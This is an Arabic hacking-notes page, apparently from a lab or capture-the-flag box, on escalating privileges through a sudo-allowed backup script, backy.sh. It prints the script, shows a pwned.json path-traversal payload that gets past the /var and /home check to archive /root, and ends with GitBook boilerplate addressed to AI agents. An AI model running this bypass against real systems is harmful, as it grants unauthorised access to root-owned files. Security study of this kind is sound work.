> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/sudoers/sudo-backy.sh-script-linux-privilege-escalation.md).

# sudo backy.sh Script - تصعيد امتيازات لينكس

## ما هو

يبدأ تصعيد الامتيازات في sudoers بالأوامر التي يمكن للمستخدم تشغيلها عبر `sudo`. يمكن للثنائيات المهيأة بشكل خاطئ، ومعاملات البرامج النصية غير الآمنة، ومعالجة الروابط الرمزية، وإصدارات sudo الضعيفة أن تحول صلاحيات sudo المحدودة إلى غلاف root. تركز هذه الصفحة تحديدًا على **سودو - backy.sh (نص برمجي)** وتحافظ على سير الاستغلال بشكل عملي: حدّد الحالة، تحقّق منها بأمان، ثم شغّل أصغر حمولة لازمة لإثبات الأثر.

## الاستكشاف

ابدأ بتأكيد السياق المحلي والتهيئة الخاطئة الدقيقة قبل تشغيل مسار الاستغلال.

```bash
sudo -l
sudo --version
```

## أمثلة

نتعلّم أن `مارتن` يمكنه تشغيل `/usr/bin/backy.sh` بصفتِه الجذر.

```bash
sudo -l
```

<figure><img src="/files/f56a7592d5fc6e0a9aa90306b27eb2e6cd31f52d" alt=""><figcaption></figcaption></figure>

**يفحص النص البرمجي:**

* أن ملف JSON المحدد موجود،
* أن كل مسار في `directories_to_archive` يقع ضمن `/var/` أو `/home/`,
* يُزيل `../` التسلسلات عبر `jq`.

```bash
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "الاستخدام: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "خطأ: لم يتم العثور على الملف '$json_file'."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("//.//./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "خطأ: $dir غير مسموح به. يُسمح فقط بالمجلدات الموجودة تحت /var/ و /home/."
        exit 1
    fi
done

/usr/bin/backy "$json_file"
```

**تجاوز:**

ملف `pwned.json` تم تكوين الملف:

```json
{
  "directories_to_archive": [
    "/home/....//....//./root/"
  ],
  "destination": "/home/martin/pwned"
}
```

التنفيذ:

```bash
sudo /usr/bin/backy.sh pwned.json
```

<figure><img src="/files/60cf01ea7232cf859d97df8724648aebed829ea5" alt=""><figcaption></figcaption></figure>

فك الضغط:

```bash
tar -xf code_home_.._.._._root_2025_April.tar.bz2
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/sudoers/sudo-backy.sh-script-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
